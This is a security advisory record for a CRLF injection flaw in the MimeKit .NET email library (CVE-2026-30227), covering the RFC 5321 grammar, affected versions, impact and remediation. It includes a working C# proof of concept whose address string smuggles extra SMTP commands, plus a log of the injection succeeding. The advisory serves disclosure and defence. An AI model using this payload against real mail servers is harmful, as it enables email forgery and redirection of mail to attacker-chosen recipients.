{"id":"GHSA-g7hc-96xr-gvvx","summary":"MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery","details":"### Summary\nA CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed `\\r\\n` into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional `RCPT TO` / `DATA` / `RSET` commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a `MailboxAddress` (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.\n\nRFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside `Quoted-string` (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by `\u003cCRLF\u003e`, making CRLF injection in command arguments particularly dangerous.\n\n### Details\n\n#### 1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string\n\nRFC 5321 defines:\n\n```text\nmail = \"MAIL FROM:\" Reverse-path [SP Mail-parameters] CRLF\n\nReverse-path = Path / \"\u003c\u003e\"\nPath         = \"\u003c\" [ A-d-l \":\" ] Mailbox \"\u003e\"\nA-d-l        = At-domain *( \",\" At-domain )\nAt-domain    = \"@\" Domain\n\nMailbox         = Local-part \"@\" ( Domain / address-literal )\nLocal-part      = Dot-string / Quoted-string\n\nDot-string      = Atom *(\".\" Atom)\nAtom            = 1*atext\natext = ALPHA / DIGIT / \n        \"!\" / \"#\" / \"$\" / \"%\" / \"&\" / \"'\" / \"*\" / \"+\" / \"-\" / \"/\" / \n        \"=\" / \"?\" / \"^\" / \"_\" / \"`\" / \"{\" / \"|\" / \"}\" / \"~\"\n\n\nQuoted-string   = DQUOTE *QcontentSMTP DQUOTE\nQcontentSMTP    = qtextSMTP / quoted-pairSMTP\nquoted-pairSMTP = %d92 %d32-126\nqtextSMTP       = %d32-33 / %d35-91 / %d93-126\n```\n\nWhen the local part is a quoted string, the characters \u003cCR\u003e and \u003cLF\u003e are not allowed.\n\n#### 2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)\n\nIn the MimeKit 4.15.0 version, when parsing the local part, the \u003cCR\u003e and \u003cLF\u003e characters in the double-quoted form will not be detected.\nAs a result, `MailboxAddress` can accept addresses like `\"attacker\\r\\nRCPT TO:\u003cvictim@target\u003e\\r\\n\"@example.com` as a valid address.\n\n#### 3) Affected components / versions\n\n- MimeKit 4.15.0 (as tested)\n- MailKit 4.15.0 uses/depends on MimeKit 4.15.0\nAny application that:\n- Accepts untrusted input for sender/recipient addresses, and\n- Constructs `MailboxAddress` from that input, and\n- Sends via SMTP (e.g., using MailKit SmtpClient),\nmay be impacted.\n\n### PoC\n\nEnvironment:\n- .NET SDK: 8.0.418\n- Target Framework: net8.0\n- Packages: MailKit 4.15.0 (with MimeKit 4.15.0)\n- Use ProtocolLogger to capture the SMTP session and confirm injection.\n\n1) Create a minimal project:\n\nmimekit_poc.csproj\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n\n  \u003cItemGroup\u003e\n    \u003cPackageReference Include=\"MailKit\" Version=\"4.15.0\" /\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n````\n\n2. PoC program (replace SMTP host/port/address as needed):\n\n```csharp\nusing MailKit.Net.Smtp;\nusing MailKit.Security;\nusing MailKit;\nusing MimeKit;\n\n// === payload and target setting ===\n\nvar smtpHost = \"xx.xx.xx.xx\";\nvar smtpPort = 25;\nvar useTls = false;\n// attack in `MAIL FROM` cmd with address grammar in double quote \nvar payloadEvilMailFromInput = \"\\\"attack\\r\\nRSET\\r\\nMAIL FROM:\u003ckc1zs4@poc.send.com\u003e\\r\\nRCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\\r\\nDATA\\r\\n.\\r\\nQUIT\\r\\nhere\\\"@poc.send.com\";\n// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt\nvar logDir = Path.Combine(AppContext.BaseDirectory, \"log\");\nDirectory.CreateDirectory(logDir);\nvar timestamp = DateTime.Now.ToString(\"yyyyMMdd_HHmmss_fff\");\nvar logPath = Path.Combine(logDir, $\"smtp_log_{timestamp}\");\n\n\n// === below smtp session ===\n// mimekit api\n\nvar envelopeFrom = new MailboxAddress(\"\", payloadEvilMailFromInput);\nvar envelopeRcpt = new MailboxAddress(\"\", \"\\\"kc1zs4\\\"@poc.recv.com\");\nvar headerFrom = new MailboxAddress(\"Sender\", \"kc1zs4@poc.send.com\");\nvar headerTo = new MailboxAddress(\"Recipient\", \"kc1zs4@poc.recv.com\");\n\nvar message = new MimeMessage();\nmessage.From.Add(headerFrom);\nmessage.To.Add(headerTo);\nmessage.Subject = \"mimekit CRLF injection poc\";\nmessage.Body = new TextPart(\"plain\") { Text = \"Hello from MimeKit 4.15.0\" };\n\ntry {\n    using var protocolLogger = new ProtocolLogger(logPath);\n    using var client = new SmtpClient(protocolLogger);\n\n    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;\n    client.Connect(smtpHost, smtpPort, socketOption);\n\n    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });\n    client.Disconnect(true);\n\n    Console.WriteLine(\"[+] successfully send mail\");\n    Console.WriteLine($\"[+] view smtp session log at: {logPath}\");\n\n} catch (SmtpCommandException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (SmtpProtocolException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp protocol err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (Exception ex) {\n\n    Console.Error.WriteLine($\"[!] unknown err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n}\n```\n\n3. Expected result\n\n* `MailboxAddress` accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.\n* The generated SMTP session (captured by ProtocolLogger) shows the `MAIL FROM` line being split by the injected CRLF, followed by attacker-controlled SMTP commands.\n* `tcpdump` also shows the same raw SMTP stream (optional confirmation).\n\nExample (illustrative) excerpt from smtp session log showing the CRLF injection effect:\n\n```txt\nConnected to smtp://xxx.xxx.xxx.xxx:25/\nS: 220 xxx Axigen ESMTP ready\nC: EHLO KC1zs4-TPt14p\nS: 250-xxx Axigen ESMTP hello\nS: 250-PIPELINING\nS: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-8BITMIME\nS: 250-SIZE 10485760\nS: 250-HELP\nS: 250 OK\nC: MAIL FROM:\u003c\"attack\nC: RSET\nC: MAIL FROM:\u003ckc1zs4@poc.send.com\u003e\nC: RCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\nC: DATA\nC: .\nC: QUIT\nC: here\"@poc.send.com\u003e SIZE=293\nC: RCPT TO:\u003c\"kc1zs4\"@poc.recv.com\u003e\nS: 553 Invalid mail address\nS: 250 Reset done\nS: 250 Sender accepted\nS: 250 Recipient accepted\nS: 354 Ready to receive data; remember \u003cCRLF\u003e.\u003cCRLF\u003e\nS: 250 Mail queued for delivery\nS: 221-xxx Axigen ESMTP is closing connection\nS: 221 Good bye\nC: RSET\n```\n\nNotes:\n\n* Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via `MailboxAddress`) is sufficient to demonstrate the vulnerability class and protocol non-compliance.\n* SMTP commands are terminated by `\u003cCRLF\u003e`, so CRLF-in-argument is structurally hazardous by design.\n\n### Impact\n\nVulnerability class:\n\n* SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).\n* Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).\n\nWho is impacted:\n\n* Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).\n\nPotential consequences:\n\n* Add or modify SMTP recipients by injecting extra `RCPT TO` commands (mail redirection / data exfiltration).\n* Corrupt the SMTP transaction state (`RSET`, `NOOP`, etc.) or attempt early `DATA` injection (server-dependent).\n* In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).\n* Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.\n\nSuggested remediation (high level):\n\n* Reject `\\r` and `\\n` in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.\n* Align quoted local-part parsing with RFC 5321’s `qtextSMTP` and `quoted-pairSMTP` ranges (no control characters).","aliases":["CVE-2026-30227"],"modified":"2026-03-06T23:03:37.090333Z","published":"2026-03-05T21:50:44Z","database_specific":{"nvd_published_at":"2026-03-06T21:16:16Z","cwe_ids":["CWE-93"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-03-05T21:50:44Z"},"references":[{"type":"WEB","url":"https://github.com/jstedfast/MimeKit/security/advisories/GHSA-g7hc-96xr-gvvx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30227"},{"type":"PACKAGE","url":"https://github.com/jstedfast/MimeKit"}],"affected":[{"package":{"name":"MimeKit","ecosystem":"NuGet","purl":"pkg:nuget/MimeKit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.15.1"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.19.0","0.20.0","0.21.0","0.23.0","0.24.0","0.25.0","0.26.0","0.27.0","0.28.0","0.29.0","0.30.0","0.31.0","0.32.0","0.33.0","0.34.0","0.35.0","0.36.0","0.37.0","0.38.0","0.39.0","0.40.0","0.41.0","0.42.0","0.43.0","0.43.0.1","0.5.0","0.6.0","0.7.0","0.7.1","0.8.0","0.9.0","0.90.0","0.91.0","0.92.0","0.93.0","0.94.0","0.95.0","0.96.0","0.97.0","1.0.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.6.1","1.0.7","1.0.8","1.0.9","1.10.0","1.10.1","1.12.0","1.14.0","1.14.1","1.16.0","1.16.1","1.16.2","1.18.0","1.18.1","1.2.0","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.17.1","1.2.17.2","1.2.17.3","1.2.18","1.2.18.1","1.2.19","1.2.2","1.2.20","1.2.20.1","1.2.20.2","1.2.21","1.2.22","1.2.23","1.2.24","1.2.25","1.2.3","1.2.4","1.2.5","1.2.5.1","1.2.6","1.2.7","1.2.8","1.2.9","1.20.0","1.22.0","1.3.0-beta1","1.3.0-beta2","1.3.0-beta3","1.3.0-beta4","1.3.0-beta5","1.3.0-beta6","1.3.0-beta7","1.3.0-rc1","1.4.0","1.4.1","1.4.2","1.6.0","1.8.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.5.1","2.10.0","2.10.1","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.15.1","2.2.0","2.3.0","2.3.1","2.3.2","2.4.0","2.4.0.1","2.4.1","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.9.0","2.9.1","2.9.2","3.0.0","3.0.0-preview1","3.1.0","3.1.1","3.2.0","3.3.0","3.4.0","3.4.1","3.4.2","3.4.3","3.5.0","3.6.0","3.6.1","4.0.0","4.1.0","4.10.0","4.11.0","4.12.0","4.13.0","4.14.0","4.15.0","4.2.0","4.3.0","4.4.0","4.5.0","4.6.0","4.7.0","4.7.1","4.8.0","4.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.15.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-g7hc-96xr-gvvx/GHSA-g7hc-96xr-gvvx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}]}